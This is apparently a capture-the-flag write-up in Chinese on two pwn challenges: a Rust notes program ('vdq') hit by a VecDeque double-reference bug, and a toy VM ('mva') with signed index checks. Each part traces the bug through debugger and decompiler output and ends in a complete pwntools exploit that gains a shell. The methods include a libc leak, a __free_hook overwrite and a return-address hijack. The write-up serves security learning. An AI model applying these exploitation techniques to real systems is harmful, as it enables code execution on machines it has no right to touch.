#3 0x00007ffff7a748ba in ?? () from ./libc-2.27.so
#4 0x00007ffff7a7c0ed in free () from ./libc-2.27.so
#5 0x000055555556d88e in alloc::alloc::dealloc (ptr=0x555555a38720, layout=...) at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/alloc/src/alloc.rs:92
#6 0x000055555556e07d in alloc::alloc::{{impl}}::dealloc (self=0x555555a38440, ptr=..., layout=...) at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/alloc/src/alloc.rs:225
#7 0x00005555555780c7 in alloc::raw_vec::{{impl}}::drop<u8,alloc::alloc::Global> (self=0x555555a38440) at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/alloc/src/raw_vec.rs:504
#8 0x000055555556bc3f in core::ptr::drop_in_place<alloc::raw_vec::RawVec<u8, alloc::alloc::Global>> () at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/core/src/ptr/mod.rs:175
#9 0x000055555556be45 in core::ptr::drop_in_place<alloc::vec::Vec<u8>> () at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/core/src/ptr/mod.rs:175
#10 0x0000555555567596 in core::ptr::drop_in_place<vdq::Note> () at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/core/src/ptr/mod.rs:175
#11 0x00005555555671d8 in core::ptr::drop_in_place<alloc::boxed::Box<vdq::Note>> () at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/core/src/ptr/mod.rs:175
#12 0x00005555555674a7 in core::ptr::drop_in_place<[alloc::boxed::Box<vdq::Note>]> () at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/core/src/ptr/mod.rs:175
#13 0x00005555555678eb in alloc::collections::vec_deque::{{impl}}::drop<alloc::boxed::Box<vdq::Note>> (self=0x7fffffffd860) at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/alloc/src/collections/vec_deque.rs:171
#14 0x0000555555567512 in core::ptr::drop_in_place<alloc::collections::vec_deque::VecDeque<alloc::boxed::Box<vdq::Note>>> () at /rustc/7eac88abb2e57e752f3302f02be5f3ce3d7adfb4/library/core/src/ptr/mod.rs:175
#15 0x00005555555622d9 in vdq::handle_opr_lst (opr_lst=...) at src/main.rs:106
#16 0x00005555555625cb in vdq::main () at src/main.rs:111
然后定位崩溃的位置
.text:000000000000E2CC loc_E2CC: ; CODE XREF: vdq::handle_opr_lst::h7fb2393547b96358+7DA↑j
.text:000000000000E2CC lea rdi, [rsp+80h] ; alloc::collections::vec_deque::VecDeque<alloc::boxed::Box<vdq::Note>> *
.text:000000000000E2D4 call _ZN4core3ptr13drop_in_place17hc78e8b893c128756E ; core::ptr::drop_in_place::hc78e8b893c128756
.text:000000000000E2D9 jmp short $+2
查了一下drop_in_place
会释放掉内存,这里的这个container里面存了vdq::Note
,推断很有可能一个容器里一个note出现了不止一次或者一个note同时出现在两个容器(notes和archived_notes)
接下来缩减一下fuzz得到的poc,首先考虑的是View
,直觉上看view的功能应该只是打印一下内容,不会对触发漏洞造成太大的影响,但是从poc里去掉View了之后,崩溃就消失了,那么View很可能有重要的影响。
所以调整一下fuzzer,只使用三个操作Add, Remove, View,并且设定前几个操作只能Add,然后继续fuzz
["Add", "Add", "Add", "Remove", "Add", "Remove", "Add", "View", "Remove", "Add"]
$
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2A
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5A
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8A
Aa
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8A
Aa0A
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2
拿到的一个比较好看的poc,之后的exp也是基于它编写
看看View的实现
case 4 u :
core::fmt::Arguments::new_v1:: h44adc30b070cf8c4 (
& v43 ,
(___str_) __PAIR128__ ( 1 LL , & off_7BBC0 ),
(__core::fmt::ArgumentV1_)(( unsigned __int64) & needle.data_ptr + 7 ));
std::io::stdio::_print:: h0d31d4b9faa6e1ec ();
alloc::collections::vec_deque::VecDeque$LT$T$GT$::make_contiguous:: he6debc29b2205434 (
(_mut__alloc::boxed::Box < vdq::Note > _ * ) & notes ,
(alloc::collections::vec_deque::VecDeque < alloc::boxed::Box < vdq::Note >> * ) & off_7BBC0 );
p_notes = ( unsigned __int64) & notes;
alloc::collections::vec_deque::VecDeque$LT$T$GT$::iter:: h0cc194c5561ce1ed ( & v44 , & notes );
core::iter::traits::iterator::Iterator::for_each:: h73567d402a60c07d (v10, (vdq::handle_opr_lst::closure_0) & v44 );
break ;
看不懂,这里分别搜索print
,iterator::for_each
,make_contiguous
的vulnerability,搜到了 CVE-2020-36318. 根据容器的结构继续分析
00000000 alloc::collections::vec_deque::VecDeque<alloc::boxed::Box<vdq::Note>> struc ; (sizeof=0x20, align=0x8, copyof_185)
00000000 ; XREF: _ZN3vdq14handle_opr_lst17h7fb2393547b96358E/r
00000000 tail dq ?
00000008 head dq ?
00000010 buf alloc::raw_vec::RawVec<alloc::boxed::Box<vdq::Note>,alloc::alloc::Global> ?
00000010 ; XREF: vdq::handle_opr_lst::h7fb2393547b96358:loc_DC0C/o
00000020 alloc::collections::vec_deque::VecDeque<alloc::boxed::Box<vdq::Note>> ends
00000020
通过调试可以发现,deque的初始容量是4,当容器满后,capacity会翻倍,tail指向低地址尾部,head指向高地址头部
gef➤ x/3xg $rdi
0x7ffc94dee2a0: 0x0000000000000000 0x0000000000000002
0x7ffc94dee2b0: 0x000055c3e6e5ffa0
gef➤ x/4xg 0x7ffc94dee2a0
0x7ffc94dee2a0: 0x0000000000000000 0x0000000000000004
0x7ffc94dee2b0: 0x000055c3e6e600f0 0x0000000000000008
同时可以发现,pop之后,容器对应的index不会立刻清除,而是移动了tail
gef➤ x/4xg $rdi
0x7ffe849e3740: 0x0000000000000001 0x0000000000000003
0x7ffe849e3750: 0x00005607f06c2fb0 0x0000000000000004
gef➤ x/16xg 0x00005607f06c2fb0
0x5607f06c2fb0: 0x00005607f06c2fe0 0x00005607f06c3030
0x5607f06c2fc0: 0x00005607f06c3080 0x0000000000000000
调试poc,观察view前后的变化
gef➤ x/16xg 0x007ffc84bda940
0x7ffc84bda940: 0x0000000000000002 0x0000000000000001
0x7ffc84bda950: 0x0000555a63576f80 0x0000000000000004
0x7ffc84bda960: 0x0000000000000008 0x0000000000000000
0x7ffc84bda970: 0x0000000000000000 0x0000000000000005
0x7ffc84bda980: 0x0000555a63576ea0 0x0000000000000010
0x7ffc84bda990: 0x0000555a63576ea0 0x0000555a63576eaa
0x7ffc84bda9a0: 0x0000555a63576ea0 0x0000000000000010
0x7ffc84bda9b0: 0x000000000000000a 0x0000555a63576ea0
gef➤ x/16xg 0x0000555a63576f80
0x555a63576f80: 0x0000555a63577020 0x0000555a63577020
0x555a63576f90: 0x0000555a63577070 0x0000555a63576fd0
gef➤ x/16xg 0x007ffc84bda940
0x7ffc84bda940: 0x0000000000000001 0x0000000000000004
0x7ffc84bda950: 0x0000555a63576f80 0x0000000000000004
0x7ffc84bda960: 0x0000000000000008 0x0000000000000000
0x7ffc84bda970: 0x0000000000000000 0x0000000000000005
0x7ffc84bda980: 0x0000555a63576ea0 0x0000000000000010
0x7ffc84bda990: 0x0000555a63576ea0 0x0000555a63576eaa
0x7ffc84bda9a0: 0x0000555a63576ea0 0x0000000000000010
0x7ffc84bda9b0: 0x000000000000000a 0x0000555a63576ea0
gef➤ x/16xg 0x0000555a63576f80
0x555a63576f80: 0x0000555a63577020 0x0000555a63577070
0x555a63576f90: 0x0000555a63576fd0 0x0000555a63577020
0x555a63576fa0: 0x0000000000000000 0x0000000000000021
0x555a63576fb0: 0x0000000000000a61 0x0000000000000000
0x555a63576fc0: 0x0000000000000000 0x0000000000000031
0x555a63576fd0: 0x0000000000000001 0x0000000000000004
0x555a63576fe0: 0x0000555a63576fb0 0x0000000000000008
0x555a63576ff0: 0x0000000000000001 0x0000000000000021
gef➤
gef➤ x/16xg 0x007ffc84bda940
0x7ffc84bda940: 0x0000000000000002 0x0000000000000004
0x7ffc84bda950: 0x0000555a63576f80 0x0000000000000004
0x7ffc84bda960: 0x0000000000000008 0x0000000000000000
0x7ffc84bda970: 0x0000000000000000 0x0000000000000005
0x7ffc84bda980: 0x0000555a63576ea0 0x0000000000000010
0x7ffc84bda990: 0x0000555a63576ea0 0x0000555a63576eaa
0x7ffc84bda9a0: 0x0000555a63576ea0 0x0000000000000010
0x7ffc84bda9b0: 0x000000000000000a 0x0000555a63576ea0
gef➤ x/16xg 0x0000555a63576f80
0x555a63576f80: 0x0000555a63577020 0x0000555a63577070
0x555a63576f90: 0x0000555a63576fd0 0x0000555a63577020
0x555a63576fa0: 0x0000000000000000 0x0000000000000021
0x555a63576fb0: 0x0000000000000a61 0x0000000000000000
0x555a63576fc0: 0x0000000000000000 0x0000000000000031
0x555a63576fd0: 0x0000000000000001 0x0000000000000004
0x555a63576fe0: 0x0000555a63576fb0 0x0000000000000008
0x555a63576ff0: 0x0000000000000001 0x0000000000000021
gef➤
gef➤ x/16xg 0x007ffc84bda940
0x7ffc84bda940: 0x0000000000000002 0x0000000000000001
0x7ffc84bda950: 0x0000555a63576f80 0x0000000000000004
0x7ffc84bda960: 0x0000000000000008 0x0000000000000000
0x7ffc84bda970: 0x0000000000000000 0x0000000000000006
0x7ffc84bda980: 0x0000555a63576ea0 0x0000000000000010
0x7ffc84bda990: 0x0000555a63576ea0 0x0000555a63576eaa
0x7ffc84bda9a0: 0x0000555a63576ea0 0x0000000000000010
0x7ffc84bda9b0: 0x000000000000000a 0x0000555a63576ea0
gef➤ x/16xg 0x0000555a63576f80
0x555a63576f80: 0x0000555a63577020 0x0000555a63577070
0x555a63576f90: 0x0000555a63576fd0 0x0000555a63577020 # 出现两个一样的地址
0x555a63576fa0: 0x0000555a63577070 0x0000000000000021
0x555a63576fb0: 0x0000000000000a61 0x0000000000000000
0x555a63576fc0: 0x0000000000000000 0x0000000000000031
0x555a63576fd0: 0x0000000000000001 0x0000000000000004
0x555a63576fe0: 0x0000555a63576fb0 0x0000000000000008
0x555a63576ff0: 0x0000000000000001 0x0000000000000021
gef➤
综上(虽然不知道漏洞具体的细节)但是我们可以得到利用策略如下
UaF一个大chunk,View得到libcbase,freehook,system等等地址
再次UaF,利用输入时的get_raw_line
会申请一块地址存放输入数据的特性,控制大小,申请到一个vdq::Note
(并且由于UaF,这个Note现在处于使用中),修改掉对应的buffer的地址到freehook上,注意要加一个偏移量,因为append会在buffer的后面添加数据,让buffer的末尾刚好在freehook就行
使用Append,修改freehook为system,然后随便使用一个会调用get_raw_line
的功能,输入/bin/sh即可。
完整exp
from pwn import *
sh = process( "./vdq" )
op = """
[
"Add", "Add", "Add", "Remove", "Add", "Remove", "Add", "View", "Remove", "Add", "Remove", "Remove", "View",
"Add", "View", "Remove", "Append", "Append", "View", "Add", "Remove", "View"
]
$
"""
# "Add", "Add", "Add", "Remove", "Add", "Remove", "Add", "View", "Remove", "Add", "Remove", "Remove", "View", UaF a big chunk
# "Add", "View", "Remove", "Append", "Append", "View", "Add", "Remove", "View"
# Add: create new note at index 1(UaF index 0)
# Remove: Remove index 0
# Append: use append to allocate vdq::Note(at index 1) from tcache
# change the buffer pointer
# Append: append again to write freehook
# Add: profit
sh.send(op.encode())
sleep( 1 )
sh.sendline( b "a" *0x 1 )
sh.sendline( b "b" *0x 1 )
sh.sendline( b "c" *0x 1 )
sh.sendline( b "d" *0x 1 )
sh.sendline( b 'e' *0x 800 )
sh.sendline( b 'f' *0x 300 )
sh.recvuntil( b "Removed note [5]" )
sh.recvuntil( b "-> " )
ret = sh.recv( 12 ).decode()
addr = ret[ - 2 :] + ret[ - 4 : - 2 ] + ret[ - 6 : - 4 ] + ret[ - 8 : - 6 ] + ret[ - 10 : - 8 ] + ret[ - 12 : - 10 ]
addr = int (addr, 16 )
log.success( "leak addr: " + hex (addr))
libcaddr = addr - 0x 3ebca0
freehook = libcaddr + 0x 3ed8e8
freehook_offset = freehook - 0x 2a # offset
system = libcaddr + 0x 4f420
log.success( "libc addr: " + hex (libcaddr))
log.success( "freehook: " + hex (freehook))
sh.sendline( b 'a' * 5 ) # to tcache[0x340]
sh.sendline(p64(freehook_offset) * 3 + p64( 0 ))
sh.sendline(p64(system))
sh.sendline( b '/bin/sh' )
sh.interactive()
mva
给定的程序实现了一个vm,指令长度4 bytes,可以发现,在mul
时没有检测操作数大小,导致越界读取
case 0x D u :
if ( BYTE2 (instruction) >= 6 u )
exit ( 0 );
if ( ( unsigned __int8)instruction >= 6 u )
exit ( 0 );
reg [ SBYTE2 (instruction)] = reg [ SBYTE1 (instruction)] * reg [( char )instruction];
break ;
movsx eax, [rbp+var_249]
从汇编可以看出,可以传入负数,然后读出栈上的其它数据,然后再看
case 0x E u :
if ( BYTE2 (instruction) >= 6 u )
exit ( 0 );
if ( SBYTE1 (instruction) > 5 )
exit ( 0 );
reg [ SBYTE1 (instruction)] = reg [ SBYTE2 (instruction)];
break ;
这里对第一个操作数的大小检查带符号,所以可以用负数绕过,达到越界写,这样我们可以覆盖虚拟机栈指针,虽然这只能写入一个负数,但是通过
mov [rbp+rax*2+stack], dx
rax*2可以引发整数溢出,再次把数值变为正数,从而将虚拟机栈顶指向返回地址,完整exp如下
from pwn import *
sh = process( './mva' )
def load (reg, val):
command = p8( 0x 01 ) + p8(reg) + p8(val >> 8 ) + p8(val & 0x FF )
return command
def add (reg, op1, op2):
command = p8( 0x 02 ) + p8(reg) + p8(op1) + p8(op2)
return command
def sub (reg, op1, op2):
command = p8( 0x 03 ) + p8(reg) + p8(op1) + p8(op2)
return command
def mul (reg, op1, op2):
command = p8( 0x 0D ) + p8(reg) + p8(op1) + p8(op2)
return command
def mov (reg, op1, op2):
command = p8( 0x 0E ) + p8(op2) + p8(op1) + p8(op2)
return command
def push ():
command = p8( 0x 09 ) + p8( 0 ) * 3
return command
def pop ():
command = p8( 0x 0A ) + p8( 0 ) * 3
return command
def view ():
command = p8( 0x f ) + p8( 0 ) * 3
return command
def inverse (num):
return ( ~ (num - 1 ) & 0x FF )
payload = load( 0 , 0x 1 ) # reg[0] = 0x1
payload += mul( 0 , inverse( 124 ), 0 ) # reg[0] = reg[-124] * reg[0]
payload += load( 0 , 0x 1 ) # reg[0] = 0x1
payload += mul( 0 , inverse( 122 // 2 ), 0 ) # reg[0] = reg[-125] * reg[0]
payload += load( 2 , 0x 0006 ) # reg[2] = 0x0011
payload += add( 1 , 0 , 2 ) # reg[1] = reg[0] + reg[2]
payload += load( 0 , 0x 1 ) # reg[0] = 0x1
payload += mul( 0 , inverse( 124 // 2 ), 0 ) # reg[0] = reg[-126] * reg[0]
payload += load( 3 , 0x f567 ) # reg[3] = 0x9b72
payload += add( 2 , 0 , 3 ) # reg[2] = reg[0] + reg[3]
# payload += pop()
payload += load( 0 , 0x 8000 ) # reg[0] = 0x8000
payload += mov( 0 , inverse( 0x 07 ), 0 ) # reg[-0x07] = reg[0]
payload += load( 0 , 0 ) # reg[0] = 0
payload += mov( 0 , inverse( 0x 08 ), 0 ) # reg[-0x08] = reg[0]
payload += load( 0 , 0 ) # reg[0] = 0
payload += mov( 0 , inverse( 0x 09 ), 0 ) # reg[-0x09] = reg[0]
payload += load( 0 , 0x 010c ) # reg[0] = 0x10c
payload += mov( 0 , inverse( 0x 0a ), 0 ) # reg[-0x0a] = reg[0]
payload += mov( 0 , 0 , 2 ) # reg[0] = reg[2]
payload += push() # push reg[0]
payload += mov( 0 , 0 , 1 ) # reg[0] = reg[1]
payload += push() # push reg[0]
# 0x1ed6a0 0x845ca
payload += ( 0x 100 - len (payload)) * b ' \x00 '
print (payload)
sh.sendline(payload)
sh.interactive()